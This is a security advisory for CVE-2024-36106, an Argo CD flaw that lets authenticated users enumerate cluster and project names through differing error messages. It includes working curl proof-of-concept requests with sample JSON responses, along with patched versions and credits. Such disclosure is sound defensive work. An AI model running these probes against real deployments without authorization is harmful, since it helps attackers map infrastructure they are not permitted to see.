CVE-2024-36106: Argo CD allows authenticated users to enumerate clusters by name

Impact It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:

$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎ $ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati on: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"}

It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters. curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}

curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"}

Patches A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.3 v2.10.12 v2.9.17

For more information If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue